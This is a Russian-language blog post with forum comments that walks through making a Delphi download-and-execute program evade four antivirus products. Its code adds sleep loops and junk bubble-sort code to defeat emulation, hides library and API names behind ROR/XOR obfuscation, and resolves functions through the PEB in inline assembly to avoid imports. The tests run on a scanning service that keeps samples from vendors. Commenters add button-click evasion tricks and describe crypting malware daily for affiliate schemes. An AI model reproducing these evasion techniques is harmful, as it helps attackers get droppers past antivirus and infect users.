Сегодня хотелось бы немного уделить внимание антивирусной защите как таковой. Мы проведем несколько простых опытов с помощью программирования и посмотрим на «крутость» антивирусных систем. Значит берем «фантастическую четверку» : нод,касперский,др.вэб и аваст. Извращаться будем уже как всегда с известным кодом: скачивание+запуск файла. Я буду использовать частный сервис проверки которые не отсылает копии АВ компаниям.(акк мне дал один добрый человечек на ачате) Начнем. Сразу же напишем код и закинем его на проверку. Code: program Project2; uses windows,urlmon,shellapi; begin URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil); shellexecute(0,'open','C:\file.html',0,0,SW_SHOW); end. Смотрим что получается: http://4put.ru/pictures/max/389/1195254.jpg не знаю почему, но аваст тупо отморозился, что уже как бы «намекает».Остальные справились безукоризненно. Дальше мы начнем немного «разбавлять» код. Дополним его небольшим циклом Code: program Project2; uses windows,urlmon,shellapi; var i:integer; begin for i:=1 to 10 do begin sleep(1000); GetTickCount; sleep(1000); GetModuleHandle(0); end; URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil); shellexecute(0,'open','C:\file.html',0,0,SW_SHOW); end. Смотрим результаты: http://4put.ru/pictures/max/389/1195256.jpg Аваст-то же самое. Отечественный производитель справился с задачей,но посмотрите НОД не смог (не стал) эмулировать из-за задержек и пропустил троян!!! / небольшая справочка,чисто для прикола: если в цикле использовать не 10 ,а $989680 то и каспер отпадает(но не др.вэб) но т.к. это занимает СЛИШКОМ много времени,то я его не использую,но можно попробовать подставить меньше секунды слипы,проверьте если хотите,поиграйтесь\ Идем дальше… Добавим в код сортировку массива методом пузырька: Code: program Project2; uses windows,urlmon,shellapi; var i,n,p:integer; a: array[1..100001] of integer; b:boolean; begin for i:=1 to 10 do begin sleep(1000); GetTickCount; sleep(1000); GetModuleHandle(0); end; begin randomize; for i:=1 to 100001 do a[i]:=random(512)+5; n:= Length(a); if n < 2 then exit; repeat b:= false; Dec(n); for i:= 0 to n-1 do if a[i] > a[i+1] then begin p:= a[i]; a[i]:= a[i+1]; a[i+1]:= p; b:= true; end; until b; end; URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil); shellexecute(0,'open','C:\file.html',0,0,SW_SHOW); end. Смотрим что получается: http://4put.ru/pictures/max/389/1195258.jpg Отпал теперь и др.вэб пока отечественные продукты проявили себя лучше всех,и судя по этим 3 опытам касперский имеет довольно мощную эвристику. Следующая фишка меня можно сказать даже порадовала.Сделал я так: сперва зашифровал библиотеки и функции побитовым сдвигом влево (рол) и… О да это было прекрасно: Code: program Project2; uses windows,urlmon,shellapi,idglobal; var i,n,p:integer; a: array[1..100001] of integer; b:boolean; h:Thandle; DownLoad: function(p1:IUnknown;url:PAnsiChar;tofile: PAnsiChar;reserved:dword;lpfncb:pointer):HResult;stdcall; exec: function(p1:integer;p2:pchar;p3:pchar;p4,p5,p6:integer):integer;stdcall; function RORR(s:string):string; var x:integer; begin for x := 1 to length(s) do s[x] := char(ROR(byte(s[x]) ,1)); result:=s; end; function XORR(s:string):string; var x:integer; begin for x := 1 to length(s) do s[x] := chr(ord(s[x]) xor $0E); result:=s; end; begin for i:=1 to 10 do begin sleep(1000); GetTickCount; sleep(1000); GetModuleHandle(0); end; begin randomize; for i:=1 to 100001 do a[i]:=random(512)+5; n:= Length(a); if n < 2 then exit; repeat b:= false; Dec(n); for i:= 0 to n-1 do if a[i] > a[i+1] then begin p:= a[i]; a[i]:= a[i+1]; a[i+1]:= p; b:= true; end; until b; end; h:=LoadLibrary(pchar(Rorr(Xorr('дкЦФРТRЖЦЦ')))); @DownLoad:=getprocaddress(h,pchar(rorr(xorr('¤Є–†РаТЦРМЖ¦Р‚ЬЦДЊ')))); DownLoad(nil,pchar('http://yandex.ru'),pchar('C:\file.html'),0,nil); freelibrary(h); h:=LoadLibrary(pchar(rorr(xorr('иЮДЦЦhjRЖЦЦ')))); @exec:=getprocaddress(h,pchar(rorr(xorr('ЁЮДЦЦ„юДИджДЊ')))); exec(0,'open','C:\file.html',0,0,SW_SHOW); end. http://4put.ru/pictures/max/389/1195260.jpg Результат (ёмаё!): поясню код в этом моменте немного: мы зашифровали rol-ом названия библиотек где содержатся эти функции и сами названия функций (не забываем,что мы их вызываем с дополнительной «А» (shellexecutea) ну и написал две функции.Принцип легок: обратная функция ксору-ксор, обратная функция ролу-рор, соответственно я сначала сдвигал биты ролом,а потом ксорил получившейся результат, при дешифрации соответственно обратный порядок-разксорили и потом рором сдвиг сделали. вот и все.прототипы «новых» функций смотрим в мсдн и копируем параметры. ============================================================================ В общем то есть еще один метод который позволяет опустить наших «гигантов» АВ индустрии -это вызов без использования импорта.Я его тут полностью расписывать не стану. через ПЭБ получаем указатель на «главную» библиотеку: такой код: Code: asm mov eax, dword ptr fs:[30h] mov eax, dword ptr [eax+0ch] mov eax, dword ptr [eax+1ch] mov eax, [eax] mov eax, dword ptr [eax+08h] mov p, eax end; в семерке получается указатель на kernelbase, хотя если я не ошибаюсь там есть все теже функции что и в kernel32. Так вот смысл в том что мы должны получить прототип LoadLibrary , а дальше думаю догадались- так же с помощью шифрованных функций и имен длл вызывать нужные функции. в итоге все наши крутые перцы нервно курят в стороночке. так же можно и с getprocadress сделать(даже немного и с seh поиграть). Итоги подведем: Др.вэб и касперский оказались «самыми нормальными», вообще у меня стоит др.вэб каспера не поставил ввиду того что похавать оперативу он любит,хотя думаю если кошерно настроить то будет очень даже ничего. Статья не рекламирует какой либо продукт и не усомняет вас в выборе какого либо АВ средства (хотя кому я вру-конечно же усомняет) это я к тому что бы крикуны которые восхваляют нод32 спеси то поубавили, ибо скорость работы еще не залог успеха,в чем мы собственно убедились.И так же мораль статьи-если против вас работает мудрый хакер,то все антивирусы идут далеко и надолго,лучшая защита-ваша голова (желательна дополнительная надстройка-моск). Но если выбирать для простенькой защиты на проно сайтах то я бы не взял нод или аваст. Вот собсно и все) спасибо за внимание. all rights reserved. DooD среда, 22 августа 2012 г. http://bydood.blogspot.com/
там есть галка "уступать память другим программам" ее надо включить+надо выставить проверку только новых объектов,тогда система будет нормально работать. пс thnx
есть проще вариант, добавь кнопку на форму и вызывай загрузку файла по нажатию кнопки чтобы её нажать нужно эмулировать событие передав соответственное системное сообщение кнопке а саму форму можно захайдить и профит =) таким способом обходится почти любая эвристика еще спрятать импорты для пущей уверенности
а если надо на апи делать?все тупик??)бэз кнопки не смогем.да и что то я не слышал про такой метод защиты.накатай код,а я проверю.
Без обид, но методы стары как мир. Парсинг peb очень давно описал Great (земля пухом), очень. Похожую статью видел у Kaimi\dx. А разбавление мусором, задержки, это азы крипта. Я в свое время писал криптор (не очень успешно), не смог обойти HEUR. Там ад какой-то: важно все - какой импорт, экспорт; названия, размеры, энтропии секций; стандартность заголовков, соотвествие импорта (типа вызова одной парной винапи без вызова другой, наличие мусорного импорта, который неиспользуется и т.п.). Самое забавное, что проактивка мне покорилась, а вот эвристика нет, упорства не хватило. ( PS. Новый метод для антиэмуляции придумал этим летом широко известный в узких кругах Clerk, это вообще огонь.
не столь важно стары или нет,главное что работают. если эксплоит будет рабочим,но устаревшим,ты им не воспользуешься??
Воспользуюсь, но АВ приделают костыли и придется писать новый. Потом еще и еще. АВ все время добавляют эмуляцию новых винапи, и вырезание мусора. А если это партнерка, где нужно криптовать малварь два раза в день? То есть, я хочу сказать, что один раз привести код к виду, который нравится аверам, можно и не трудно, но если ты захочешь использовать все это для более сложных задач, то столкнешься с куда более сложными проблемами, которые такими методами уже не решатся.
Можно ссылку на сервис? Отчего-то мне показалось, что владелец его - BlackGeneral, ибо он такой проект начинал писать пару лет назад. А по сути - всегда считал антивирусы бесполезными. Живу с Фаерволом и виртуалками, париться не приходится.